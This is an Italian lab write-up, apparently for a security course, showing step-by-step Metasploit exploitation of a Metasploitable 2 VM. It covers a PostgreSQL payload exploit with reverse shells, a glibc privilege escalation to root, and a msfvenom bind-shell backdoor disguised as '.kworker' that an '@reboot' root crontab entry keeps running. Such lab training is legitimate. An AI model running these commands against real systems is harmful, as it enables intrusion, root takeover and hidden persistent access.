

Traccia Esercizio:

Esercizio di oggi:

Usa il modulo **exploit/linux/postgres/postgres_payload** per sfruttare una vulnerabilità nel servizio PostgreSQL di Metasploitable 2. Esegui l'exploit per ottenere una sessione **Meterpreter** sul sistema target.

Escalation di privilegi e backdoor:

- Una volta ottenuta la sessione **Meterpreter**, il tuo compito è eseguire un'escalation di privilegi per passare da un utente limitato a root utilizzando solo i mezzi forniti da msfconsole.
- Esegui il comando **getuid** per verificare l'identità dell'utente corrente.

Esercizio di oggi:

Bonus

- Usa il modulo **post** di **msfconsole** per identificare potenziali vulnerabilità locali che possono essere sfruttate per l'escalation di privilegi.
- Esegui l'exploit proposti e verifica ogni vulnerabilità trovata dal modulo sopracitato.
- Per ogni vulnerabilità test l'escalation di privilegi eseguendo nuovamente **getuid** o tentando di eseguire un comando che richiede privilegi di root.
- sempre usando msfconsole installa una **backdoor** e dimostra che puoi accedere ad essa in un momento successivo.

Impostazioni di rete:

Kali Linux

```
(marco@vbox)-[~]
$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host noprefixroute
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:1c:a4:6c brd ff:ff:ff:ff:ff:ff
    inet 192.168.50.100/24 brd 192.168.50.255 scope global noprefixroute eth0
        valid_lft forever preferred_lft forever
```

Metasploitable

```
msfadmin@metasploitable:~$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
    inet6 ::1/128 scope host
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000
    link/ether 08:00:27:2b:75:65 brd ff:ff:ff:ff:ff:ff
    inet 192.168.50.150/24 brd 192.168.50.255 scope global eth0
    inet6 fe80::a00:27ff:fe2b:7565/64 scope link
        valid_lft forever preferred_lft forever
```

sudo arp-scan 192.168.50.0/24 *host discovery*

```
(marco@vbox)-[~]
$ sudo arp-scan 192.168.50.0/24
Interface: eth0, type: EN10MB, MAC: 08:00:27:1c:a4:6c, IPv4: 192.168.50.100
WARNING: Cannot open MAC/Vendor file ieee-oui.txt: Permission denied
WARNING: Cannot open MAC/Vendor file mac-vendor.txt: Permission denied
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.50.150 08:00:27:2b:75:65 (Unknown)

1 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.233 seconds (114.64 hosts/sec). 1 responded
```

ping 192.168.50.150 - *Test Connettività*

```
(marco@vbox)-[~]
$ ping 192.168.50.150
PING 192.168.50.150 (192.168.50.150) 56(84) bytes of data.
64 bytes from 192.168.50.150: icmp_seq=1 ttl=64 time=0.518 ms
64 bytes from 192.168.50.150: icmp_seq=2 ttl=64 time=0.288 ms
64 bytes from 192.168.50.150: icmp_seq=3 ttl=64 time=0.522 ms
^C
— 192.168.50.150 ping statistics —
3 packets transmitted, 3 received, 0% packet loss, time 2056ms
rtt min/avg/max/mdev = 0.288/0.442/0.522/0.109 ms
```

Esecuzione:

msfconsole per lanciare metasploit

```
(marco@vbox)-[~]
$ msfconsole
Metasploit tip: Keep track of findings and observations with notes

.:ok000kdc'          'cdk000ko:.
.x0000000000000c    c000000000000x.
:00000000000000k,  ,k00000000000000:
'000000000k000000: :0000000000000000'
o00000000. .o0000o0000l. ,00000000o
d00000000. .c00000c. ,00000000x
l00000000. ;d; ,00000000l
.00000000. .; ; ,00000000.
c0000000. .00c. 'o00. ,0000000c
o000000. .0000. :0000. ,000000o
l000000. .0000. :0000. ,000000l
;0000' .0000. :0000. ;0000;
.d00o .0000occc0000. x00d.
,k0l .0000000000000. .d0k,
:kk;.0000000000000.c0k:
;k00000000000000k:
,x000000000000x,
.l00000000l.
,d0d,
.

=[ metasploit v6.4.96-dev ]
+ -- --[ 2,568 exploits - 1,316 auxiliary - 1,683 payloads ]
+ -- --[ 433 post - 49 encoders - 13 nops - 9 evasion ]

Metasploit Documentation: https://docs.metasploit.com/
The Metasploit Framework is a Rapid7 Open Source Project
```

search exploit/linux/postgres/postgres per cercare il modulo

```
msf > search exploit/linux/postgres/postgre
Matching Modules

#  Name                                     Disclosure Date  Rank    Check  Description
-  -                                     -              -      -      -
0  exploit/linux/postgres/postgres_payload  2007-06-05      excellent Yes    PostgreSQL for Linux Payload Execution
1  \ target: Linux x86                      .               .       .       .
2  \ target: Linux x86_64                  .               .       .       .

Interact with a module by name or index. For example info 2, use 2 or use exploit/linux/postgres/postgres_payload
After interacting with a module you can manually set a TARGET with set TARGET 'Linux x86_64'

msf >
```

use 0 per selezionare il modulo 0

```
msf > use 0
[*] Using configured payload linux/x86/meterpreter/reverse_tcp
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
msf exploit(linux/postgres/postgres_payload) >
```

show options *per vedere i settaggi del modulo*

```
msf exploit(linux/postgres/postgres_payload) > show options
Module options (exploit/linux/postgres/postgres_payload):
  Name      Current Setting  Required  Description
  --      -
  VERBOSE   false            no        Enable verbose output

Used when connecting via an existing SESSION:
  Name      Current Setting  Required  Description
  --      -
  SESSION                   no        The session to run this module on

Used when making a new connection via RHOSTS:
  Name      Current Setting  Required  Description
  --      -
  DATABASE   postgres         no        The database to authenticate against
  PASSWORD   postgres         no        The password for the specified username. Leave blank for a random password.
  RHOSTS                    no        The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT      5432             no        The target port (TCP)
  USERNAME   postgres         no        The username to authenticate as

Payload options (linux/x86/meterpreter/reverse_tcp):
  Name      Current Setting  Required  Description
  --      -
  LHOST                    yes        The listen address (an interface may be specified)
  LPORT      4444            yes        The listen port

Exploit target:
  Id  Name
  --  --
  0    Linux x86

View the full module info with the info, or info -d command.
msf exploit(linux/postgres/postgres_payload) > 
```

set LHOST 192.168.50.100 *per inserire ip della macchina in ascolto*

```
msf exploit(linux/postgres/postgres_payload) > set LHOST 192.168.50.100
LHOST => 192.168.50.100
```

set RHOST 192.168.50.150 *per inserire ip della macchina bersaglio*
set LPORT 4445 *per inserire la porta della macchina in ascolto*

```
msf exploit(linux/postgres/postgres_payload) > set RHOSTS 192.168.50.150
RHOSTS => 192.168.50.150
msf exploit(linux/postgres/postgres_payload) > set LPORT 4445
LPORT => 4445
```

show payloads per vedere i payload disponibili in questo modulo

#	Name	Disclosure Date	Rank	Check	Description
0	payload/generic/custom	.	normal	No	Custom Payload
1	payload/generic/debug_trap	.	normal	No	Generic x86 Debug Trap
2	payload/generic/shell_bind_aws_ssm	.	normal	No	Command Shell, Bind SSM (via AWS API)
3	payload/generic/shell_bind_tcp	.	normal	No	Generic Command Shell, Bind TCP Inline
4	payload/generic/shell_reverse_tcp	.	normal	No	Generic Command Shell, Reverse TCP Inlin
5	payload/generic/ssh/interact	.	normal	No	Interact with Established SSH Connection
6	payload/generic/tight_loop	.	normal	No	Generic x86 Tight Loop
7	payload/linux/x86/chmod	.	normal	No	Linux Chmod
8	payload/linux/x86/exec	.	normal	No	Linux Execute Command
9	payload/linux/x86/meterpreter/bind_ipv6_tcp	.	normal	No	Linux Mettle x86, Bind IPv6 TCP Stager (
10	payload/linux/x86/meterpreter/bind_ipv6_tcp_uuid	.	normal	No	Linux Mettle x86, Bind IPv6 TCP Stager w
11	payload/linux/x86/meterpreter/bind_nonx_tcp	.	normal	No	Linux Mettle x86, Bind TCP Stager
12	payload/linux/x86/meterpreter/bind_tcp	.	normal	No	Linux Mettle x86, Bind TCP Stager (Linux
13	payload/linux/x86/meterpreter/bind_tcp_uuid	.	normal	No	Linux Mettle x86, Bind TCP Stager with U
14	payload/linux/x86/meterpreter/reverse_ipv6_tcp	.	normal	No	Linux Mettle x86, Reverse TCP Stager (IP
15	payload/linux/x86/meterpreter/reverse_nonx_tcp	.	normal	No	Linux Mettle x86, Reverse TCP Stager
16	payload/linux/x86/meterpreter/reverse_tcp	.	normal	No	Linux Mettle x86, Reverse TCP Stager
17	payload/linux/x86/meterpreter/reverse_tcp_uuid	.	normal	No	Linux Mettle x86, Reverse TCP Stager
18	payload/linux/x86/metsvc_bind_tcp	.	normal	No	Linux Meterpreter Service, Bind TCP
19	payload/linux/x86/metsvc_reverse_tcp	.	normal	No	Linux Meterpreter Service, Reverse TCP I
20	payload/linux/x86/read_file	.	normal	No	Linux Read File
21	payload/linux/x86/shell/bind_ipv6_tcp	.	normal	No	Linux Command Shell, Bind IPv6 TCP Stage
22	payload/linux/x86/shell/bind_ipv6_tcp_uuid	.	normal	No	Linux Command Shell, Bind IPv6 TCP Stage
23	payload/linux/x86/shell/bind_nonx_tcp	.	normal	No	Linux Command Shell, Bind TCP Stager
24	payload/linux/x86/shell/bind_tcp	.	normal	No	Linux Command Shell, Bind TCP Stager (Li
25	payload/linux/x86/shell/bind_tcp_uuid	.	normal	No	Linux Command Shell, Bind TCP Stager wit
26	payload/linux/x86/shell/reverse_ipv6_tcp	.	normal	No	Linux Command Shell, Reverse TCP Stager
27	payload/linux/x86/shell/reverse_nonx_tcp	.	normal	No	Linux Command Shell, Reverse TCP Stager
28	payload/linux/x86/shell/reverse_tcp	.	normal	No	Linux Command Shell, Reverse TCP Stager
29	payload/linux/x86/shell/reverse_tcp_uuid	.	normal	No	Linux Command Shell, Reverse TCP Stager
30	payload/linux/x86/shell_bind_ipv6_tcp	.	normal	No	Linux Command Shell, Bind TCP Inline (IP
31	payload/linux/x86/shell_bind_tcp	.	normal	No	Linux Command Shell, Bind TCP Inline
32	payload/linux/x86/shell_bind_tcp_random_port	.	normal	No	Linux Command Shell, Bind TCP Random Por
33	payload/linux/x86/shell_reverse_tcp	.	normal	No	Linux Command Shell, Reverse TCP Inline
34	payload/linux/x86/shell_reverse_tcp_ipv6	.	normal	No	Linux Command Shell, Reverse TCP Inline

set payloads 28 per selezionare il payload 28

```
msf exploit(linux/postgres/postgres_payload) > set PAYLOAD 28
PAYLOAD => linux/x86/shell/reverse_tcp
msf exploit(linux/postgres/postgres_payload) >
```

exploit per avviare exploit

```
msf exploit(linux/postgres/postgres_payload) > exploit
[*] Started reverse TCP handler on 192.168.50.100:4445
[*] 192.168.50.150:5432 - 192.168.50.150:5432 - PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)
[*] 192.168.50.150:5432 - Uploaded as /tmp/bKwekIHu.so, should be cleaned up automatically
[*] Sending stage (36 bytes) to 192.168.50.150
[*] Command shell session 1 opened (192.168.50.100:4445 -> 192.168.50.150:49113) at 2025-11-08 15:19:06 -0500
```


getuid

```
meterpreter > getuid
Server username: postgres
```

ctrl+z per mettere la sessione in background

```
^Z
Background session 1? [y/N]
```

confermiamo con **Y** per mettere la sessione in background

```
Background session 1? [y/N] Y
msf exploit(linux/postgres/postgres_payload) >
```

session -l per vedere le sessioni disponibili

sessions -u 1 per upgradare la sessione a meterpreter

```
msf exploit(linux/postgres/postgres_payload) > sessions -l

Active sessions

  Id  Name  Type  Information  Connection
  --  --
  1    shell x86/linux  192.168.50.100:4445 → 192.168.50.150:49113 (192.168.50.150)

msf exploit(linux/postgres/postgres_payload) > sessions -u 1
[*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s): [1]
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.50.100:4433
[*] Sending stage (1062760 bytes) to 192.168.50.150
[*] Meterpreter session 2 opened (192.168.50.100:4433 → 192.168.50.150:42672) at 2025-11-08 15:24:18 -0500
[-] Failed to start exploit/multi/handler on 4433, it may be in use by another process.
msf exploit(linux/postgres/postgres_payload) > sessions -l

Active sessions

  Id  Name  Type  Information  Connection
  --  --
  1    shell x86/linux  192.168.50.100:4445 → 192.168.50.150:49113 (192.168.50.150)
  2    meterpreter x86/linux  msfadmin @ metasploitable.localdomain 192.168.50.100:4433 → 192.168.50.150:42672 (192.168.50.150)
```

sessions -i 2 per selezionare la seconda sessione

```
msf exploit(linux/postgres/postgres_payload) > sessions -i 2
[*] Starting interaction with 2...
```

getuid

```
meterpreter > getuid
Server username: msfadmin
meterpreter >
```

search post suggerer per cercare il modulo post suggerer

```
msf exploit(linux/postgres/postgres_payload) > search post suggerer

Matching Modules

#  Name                                     Disclosure Date  Rank  Check  Description
-  -                                     -              -    -    -
0  post/multi/recon/local_exploit_suggester .              normal No    Multi Recon Local Exploit Suggester
1  post/multi/recon/persistence_suggester .              normal No    Persistence Exploit Suggester

Interact with a module by name or index. For example info 1, use 1 or use post/multi/recon/persistence_suggester
```

use 0 per selezionare il modulo 0
show options per vedere le opzioni del modulo

```
msf exploit(linux/postgres/postgres_payload) > use 0
msf post(multi/recon/local_exploit_suggester) > show options

Module options (post/multi/recon/local_exploit_suggester):

Name                Current Setting  Required  Description
--                --
SESSION             false           yes       The session to run this module on
SHOWDESCRIPTION      false           yes       Displays a detailed description for the available exploits

View the full module info with the info, or info -d command.

msf post(multi/recon/local_exploit_suggester) > █
```

sessions -l per la lista sessioni
set session 1 per selezionare la sessione 1

```
msf post(multi/recon/local_exploit_suggester) > sessions -l

Active sessions

Id  Name  Type  Information  Connection
--  --  --  --
1   shell x86/linux  192.168.50.100:4445 → 192.168.50.150:49113 (192.168.50.150)
2   meterpreter x86/linux  msfadmin @ metasploitable.localdomain 192.168.50.100:4433 → 192.168.50.150:42672 (192.168.50.150)

msf post(multi/recon/local_exploit_suggester) > set SESSION 1
SESSION => 1
msf post(multi/recon/local_exploit_suggester) > exploit
```

exploit per lanciare il modulo

```
msf post(multi/recon/local_exploit_suggester) > exploit
[*] 192.168.50.150 - Collecting local exploits for x86/linux ...
/usr/share/metasploit-framework/lib/rex/proto/ldap.rb:13: warning: already initialized constant Net::LDAP::WhoamiOid
/usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/net-ldap-0.20.0/lib/net/ldap.rb:344: warning: previous definition of WhoamiOid was here
[*] 192.168.50.150 - 223 exploit checks are being tried...
[+] 192.168.50.150 - exploit/linux/local/glibc_ld_audit_dso_load_priv_esc: The target appears to be vulnerable.
[+] 192.168.50.150 - exploit/linux/local/glibc_origin_expansion_priv_esc: The target appears to be vulnerable.
[+] 192.168.50.150 - exploit/linux/local/netfilter_priv_esc_ipv4: The target appears to be vulnerable.
[+] 192.168.50.150 - exploit/linux/local/ptrace_sudo_token_priv_esc: The service is running, but could not be validated.
[+] 192.168.50.150 - exploit/linux/local/su_login: The target appears to be vulnerable.
[+] 192.168.50.150 - exploit/linux/persistence/autostart: The service is running, but could not be validated. Xorg is installed, possible desktop install.
[+] 192.168.50.150 - exploit/multi/persistence/cron: The target appears to be vulnerable. Cron timing is valid, no cron.deny entries found
[+] 192.168.50.150 - exploit/unix/local/setuid_nmap: The target is vulnerable. /usr/bin/nmap is setuid

[*] 192.168.50.150 - Valid modules for session 1:

#  Name                                     Potentially Vulnerable?  Check Result
-  -                                     -
1  exploit/linux/local/glibc_ld_audit_dso_load_priv_esc  Yes  The target appears to be vulnerable.
2  exploit/linux/local/glibc_origin_expansion_priv_esc  Yes  The target appears to be vulnerable.
3  exploit/linux/local/netfilter_priv_esc_ipv4  Yes  The target appears to be vulnerable.
4  exploit/linux/local/ptrace_sudo_token_priv_esc  Yes  The service is running, but could not be validated.
5  exploit/linux/local/su_login  Yes  The target appears to be vulnerable.
6  exploit/linux/persistence/autostart  Yes  The service is running, but could not be validated. Xorg is installed, possible desktop install.
7  exploit/multi/persistence/cron  Yes  The target appears to be vulnerable. Cron timing is valid, no cron.deny entries found
8  exploit/unix/local/setuid_nmap  Yes  The target is vulnerable. /usr/bin/nmap is setuid
9  exploit/linux/local/abrt_raceabrt_priv_esc  No  The target is not exploitable.
10 exploit/linux/local/abrt_sosreport_priv_esc  No  The target is not exploitable.
11 exploit/linux/local/af_packet_chocobo_root_priv_esc  No  The target is not exploitable. S
```

selezioniamo il primo modulo

use exploit/linux/glibc_ld_audit_dso_load_priv_esc

```
msf post(multi/recon/persistence_suggester) > use exploit/linux/local/glibc_ld_audit_dso_load_priv_esc
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > |
```

show payloads *per vedere i payloads disponibili*

```
msf exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > show payloads

Compatible Payloads
```

#	Name	Disclosure Date	Rank	Check	Description
0	payload/generic/custom	.	normal	No	Custom Payload
1	payload/generic/debug_trap	.	normal	No	Generic x86 Debug Trap
2	payload/generic/shell_bind_aws_ssm	.	normal	No	Command Shell, Bind SSM (via AWS API)
3	payload/generic/shell_bind_tcp	.	normal	No	Generic Command Shell, Bind TCP Inline
4	payload/generic/shell_reverse_tcp	.	normal	No	Generic Command Shell, Reverse TCP Inline
5	payload/generic/ssh/interact	.	normal	No	Interact with Established SSH Connection
6	payload/generic/tight_loop	.	normal	No	Generic x86 Tight Loop
7	payload/linux/x64/exec	.	normal	No	Linux Execute Command
8	payload/linux/x64/meterpreter/bind_tcp	.	normal	No	Linux Mettle x64, Bind TCP Stager
9	payload/linux/x64/meterpreter/reverse_sctp	.	normal	No	Linux Mettle x64, Reverse SCTP Stager
10	payload/linux/x64/meterpreter/reverse_tcp	.	normal	No	Linux Mettle x64, Reverse TCP Stager
11	payload/linux/x64/meterpreter/reverse_http	.	normal	No	Linux Meterpreter, Reverse HTTP Inline
12	payload/linux/x64/meterpreter/reverse_https	.	normal	No	Linux Meterpreter, Reverse HTTPS Inline
13	payload/linux/x64/meterpreter/reverse_tcp	.	normal	No	Linux Meterpreter, Reverse TCP Inline
14	payload/linux/x64/pingback_bind_tcp	.	normal	No	Linux x64 Pingback, Bind TCP Inline
15	payload/linux/x64/pingback_reverse_tcp	.	normal	No	Linux x64 Pingback, Reverse TCP Inline
16	payload/linux/x64/shell/bind_tcp	.	normal	No	Linux Command Shell, Bind TCP Stager
17	payload/linux/x64/shell/reverse_sctp	.	normal	No	Linux Command Shell, Reverse SCTP Stager
18	payload/linux/x64/shell/reverse_tcp	.	normal	No	Linux Command Shell, Reverse TCP Stager
19	payload/linux/x64/shell_bind_ipv6_tcp	.	normal	No	Linux x64 Command Shell, Bind TCP Inline (IPv6)
20	payload/linux/x64/shell_bind_tcp	.	normal	No	Linux Command Shell, Bind TCP Inline
21	payload/linux/x64/shell_bind_tcp_random_port	.	normal	No	Linux Command Shell, Bind TCP Random Port Inline
22	payload/linux/x64/shell_reverse_ipv6_tcp	.	normal	No	Linux x64 Command Shell, Reverse TCP Inline (IPv6)
23	payload/linux/x64/shell_reverse_tcp	.	normal	No	Linux Command Shell, Reverse TCP Inline
24	payload/linux/x86/chmod	.	normal	No	Linux Chmod
25	payload/linux/x86/exec	.	normal	No	Linux Execute Command
26	payload/linux/x86/meterpreter/bind_ipv6_tcp	.	normal	No	Linux Mettle x86, Bind IPv6 TCP Stager (Linux x86)
27	payload/linux/x86/meterpreter/bind_ipv6_tcp_uuid	.	normal	No	Linux Mettle x86, Bind IPv6 TCP Stager with UUID Support (Linux x86)
28	payload/linux/x86/meterpreter/bind_nonx_tcp	.	normal	No	Linux Mettle x86, Bind TCP Stager
29	payload/linux/x86/meterpreter/bind_tcp	.	normal	No	Linux Mettle x86, Bind TCP Stager (Linux x86)
30	payload/linux/x86/meterpreter/bind_tcp_uuid	.	normal	No	Linux Mettle x86, Bind TCP Stager with UUID Support (Linux x86)
31	payload/linux/x86/meterpreter/reverse_ipv6_tcp	.	normal	No	Linux Mettle x86, Reverse TCP Stager (IPv6)
32	payload/linux/x86/meterpreter/reverse_nonx_tcp	.	normal	No	Linux Mettle x86, Reverse TCP Stager
33	payload/linux/x86/meterpreter/reverse_tcp	.	normal	No	Linux Mettle x86, Reverse TCP Stager
34	payload/linux/x86/meterpreter/reverse_tcp_uuid	.	normal	No	Linux Mettle x86, Reverse TCP Stager
35	payload/linux/x86/meterpreter_reverse_http	.	normal	No	Linux Meterpreter, Reverse HTTP Inline
36	payload/linux/x86/meterpreter_reverse_https	.	normal	No	Linux Meterpreter, Reverse HTTPS Inline
37	payload/linux/x86/meterpreter_reverse_tcp	.	normal	No	Linux Meterpreter, Reverse TCP Inline
38	payload/linux/x86/metsvc_bind_tcp	.	normal	No	Linux Meterpreter Service, Bind TCP
39	payload/linux/x86/metsvc_reverse_tcp	.	normal	No	Linux Meterpreter Service, Reverse TCP Inline
40	payload/linux/x86/read_file	.	normal	No	Linux Read File
41	payload/linux/x86/shell/bind_ipv6_tcp	.	normal	No	Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)
42	payload/linux/x86/shell/bind_ipv6_tcp_uuid	.	normal	No	Linux Command Shell, Bind IPv6 TCP Stager with UUID Support (Linux x86)
43	payload/linux/x86/shell/bind_nonx_tcp	.	normal	No	Linux Command Shell, Bind TCP Stager
44	payload/linux/x86/shell/bind_tcp	.	normal	No	Linux Command Shell, Bind TCP Stager (Linux x86)
45	payload/linux/x86/shell/bind_tcp_uuid	.	normal	No	Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)
46	payload/linux/x86/shell/reverse_ipv6_tcp	.	normal	No	Linux Command Shell, Reverse TCP Stager (IPv6)
47	payload/linux/x86/shell/reverse_nonx_tcp	.	normal	No	Linux Command Shell, Reverse TCP Stager
48	payload/linux/x86/shell/reverse_tcp	.	normal	No	Linux Command Shell, Reverse TCP Stager
49	payload/linux/x86/shell/reverse_tcp_uuid	.	normal	No	Linux Command Shell, Reverse TCP Stager
50	payload/linux/x86/shell_bind_ipv6_tcp	.	normal	No	Linux Command Shell, Bind TCP Inline (IPv6)
51	payload/linux/x86/shell_bind_tcp	.	normal	No	Linux Command Shell, Bind TCP Inline
52	payload/linux/x86/shell_bind_tcp_random_port	.	normal	No	Linux Command Shell, Bind TCP Random Port Inline
53	payload/linux/x86/shell_reverse_tcp	.	normal	No	Linux Command Shell, Reverse TCP Inline
54	payload/linux/x86/shell_reverse_tcp_ipv6	.	normal	No	Linux Command Shell, Reverse TCP Inline (IPv6)

```
msf exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > |
```

set payload 35

```
msf exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > set payload 35
payload => linux/x86/meterpreter_reverse_http
```


show options per vedere le opzioni del modulo

```
msf exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > set payload 35
payload => linux/x86/meterpreter_reverse_http
msf exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > show options

Module options (exploit/linux/local/glibc_ld_audit_dso_load_priv_esc):
```

Name	Current Setting	Required	Description
SESSION		yes	The session to run this module on
SUID_EXECUTABLE	/bin/ping	yes	Path to a SUID executable

```

Payload options (linux/x86/meterpreter_reverse_http):

  Name      Current Setting  Required  Description
  --      -
  LHOST     192.168.50.100  yes       The local listener hostname
  LPORT     8080             yes       The local listener port
  LURI      /                no        The HTTP Path

Exploit target:

  Id  Name
  --  --
  0    Automatic

View the full module info with the info, or info -d command.
```

sessions -l per vedere la lista delle sessioni disponibili
set session 1 per selezionare la sessione 1

```
msf exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > sessions -l

Active sessions
```

Id	Name	Type	Information	Connection
1	shell	x86/linux		192.168.50.100:4445 → 192.168.50.150:49113 (192.168.50.150)
2	meterpreter	x86/linux	msfadmin @ metasploitable.localdomain	192.168.50.100:4433 → 192.168.50.150:42672 (192.168.50.150)

```

msf exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > set SESSION 1
SESSION => 1
```

exploit per lanciare l'attacco

```
msf exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > exploit
[*] Started HTTP reverse handler on http://192.168.50.100:8080
[*] The target appears to be vulnerable
[*] Using target: Linux x86
[*] Writing '/tmp/.DTAV1yK' (1279 bytes) ...
[*] Writing '/tmp/.qxcu08' (281 bytes) ...
[*] Writing '/tmp/.ujZLwdH09o' (1188612 bytes) ...
[*] Launching exploit ...
[*] http://192.168.50.100:8080 handling request from 192.168.50.150; (UUID: 107z9rnH) Without a database connected that payload U
UID tracking will not work!
[*] http://192.168.50.100:8080 handling request from 192.168.50.150; (UUID: 107z9rnH) Redirecting stageless connection from /sglc
qary5Jmc4prj9e027gms0TwB8BCGy1u2PVAP4p4Mpl6wFwRYu9Se8vcuLjZMGX8t77D50xx9Lyr2vWqBOXVttSwMY85SI-PzFU with UA 'Mozilla/5.0 (iPad;
CPU OS 17_7.2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Mobile/15E148 Safari/604.1'
[*] http://192.168.50.100:8080 handling request from 192.168.50.150; (UUID: 107z9rnH) Without a database connected that payload U
UID tracking will not work!
[*] http://192.168.50.100:8080 handling request from 192.168.50.150; (UUID: 107z9rnH) Attaching orphaned/stageless session...
[*] http://192.168.50.100:8080 handling request from 192.168.50.150; (UUID: 107z9rnH) Without a database connected that payload U
UID tracking will not work!
[*] Meterpreter session 3 opened (192.168.50.100:8080 → 192.168.50.150:59820) at 2025-11-08 15:37:35 -0500

meterpreter > getuid
Server username: root
meterpreter >
```

getuid root

BONUS: Persistenza & Dimostrazione

nc -nv 192.168.50.150 8080 per provare a connetterci, ovviamente la risposta sara' negativa

```
(marco@vbox)-[~]
$ nc -nv 192.168.50.150 8080
(UNKNOWN) [192.168.50.150] 8080 (http-alt) : Connection refused
```

msfvenom -p linux/x86/shell_bind_tcp LPORT=8080 -f elf -o /tmp/bind_shell_8080.elf
 generiamo un payload linux x86 meterpreter bind tcp...

```
(marco@vbox)-[~]
$ msfvenom -p linux/x86/shell_bind_tcp LPORT=8080 -f elf -o /tmp/bind_shell_8080.elf

[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 78 bytes
Final size of elf file: 162 bytes
Saved as: /tmp/bind_shell_8080.elf
```

upload + percorso del file + percorso destinazione per *carica un file sul server*

```
meterpreter > upload /tmp/bind_shell_8080.elf /var/test/.kworker
[*] Uploading : /tmp/bind_shell_8080.elf -> /var/test/.kworker
[*] Uploaded -1.00 B of 162.00 B (-0.62%): /tmp/bind_shell_8080.elf -> /var/test/.kworker
[*] Completed : /tmp/bind_shell_8080.elf -> /var/test/.kworker
meterpreter >
```

sfruttiamo la **shell** per cambiare i permessi di **.kworker** con il comando **chmod +x** & serve ad eseguire il processo in background liberando il terminale

```
meterpreter > shell
Process 4917 created.
Channel 2 created.
chmod +x /var/test/.kworker
ls -la /var/test/
total 20
drwxr-xr-x  2 root root 4096 Nov  9 19:52 .
drwxr-xr-x 16 root root 4096 Nov  9 18:58 ..
-rwxr-xr-x  1 root root  162 Nov  9 19:52 .kworker
/var/test/.kworker &
```

ps per vedere i processi in esecuzione

```
ps
  PID TTY          TIME CMD
    1 ?           00:00:00 init
    2 ?           00:00:00 kthreadd
    3 ?           00:00:00 migration/0
```

il nostro **payload** e' in esecuzione (**.kworker**)

```
4910 ?           00:00:02 .NwByMNMNhh
4917 ?           00:00:00 sh
4923 ?           00:00:00 .kworker
4926 ?           00:00:00 ps
```

Tramite la **shell**, aggiungiamo una voce al **crontab** in modo che la nostra **backdoor** si avvii **ogni volta** che si **avvia** la macchina bersaglio

echo "@reboot /var/test/.kworker > /dev/null 2>&1" | sudo tee -a /var/spool/cron/crontabs/root

```
echo "@reboot /var/test/.kworker > /dev/null 2>&1" | sudo tee -a /var/spool/cron/crontabs/root
```

sudo cat /var/spool/cron/crontabs/root *per averle la conferma della riuscita*

```
sudo cat /var/spool/cron/crontabs/root
# DO NOT EDIT THIS FILE - edit the master and reinstall.
# (- installed on Sun Nov  9 17:12:27 2025)
# (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)
@reboot /var/test/.kworker > /dev/null 2>&1
█
```

nc per usare **netcat** e verificare la connessione

```
(marco@vbox)-[~]
$ nc -nv 192.168.50.150 8080
(UNKNOWN) [192.168.50.150] 8080 (http-alt) open
```

tramite la **shell** riavviare la macchina bersaglio con **sudo reboot** o attendere un riavvio/spegnimento/accensione

Dopo il riavvio della Metasploitable confermiamo la persistenza con **netcat**

nc -nv 192.168.50.150 8080

```
(marco@vbox)-[~]
$ nc -nv 192.168.50.150 8080
(UNKNOWN) [192.168.50.150] 8080 (http-alt) open
ls
PG_VERSION
base
global
pg_clog
pg_multixact
pg_subtrans
pg_tblspc
pg_twophase
pg_xlog
postmaster.opts
postmaster.pid
root.crt
server.crt
server.key
^X@s^S█
```

```
ls -la
total 80
drwxr-xr-x 14 root root 4096 Nov  9 20:18 .
drwxr-xr-x 21 root root 4096 May 20 2012 ..
-rw----- 1 root root 324 Nov  9 20:18 .Xauthority
lrwxrwxrwx 1 root root   9 May 14 2012 .bash_history → /dev/null
-rw-r--r-- 1 root root 2227 Oct 20 2007 .bashrc
drwx----- 4 root root 4096 Nov  9 16:26 .config
drwx----- 2 root root 4096 May 20 2012 .filezilla
drwxr-xr-x 5 root root 4096 Nov  9 20:18 .fluxbox
drwx----- 2 root root 4096 May 20 2012 .gconf
drwx----- 2 root root 4096 May 20 2012 .gconfd
drwxr-xr-x 2 root root 4096 May 20 2012 .gststreamer-0.10
drwx----- 4 root root 4096 May 20 2012 .mozilla
-rw-r--r-- 1 root root 141 Oct 20 2007 .profile
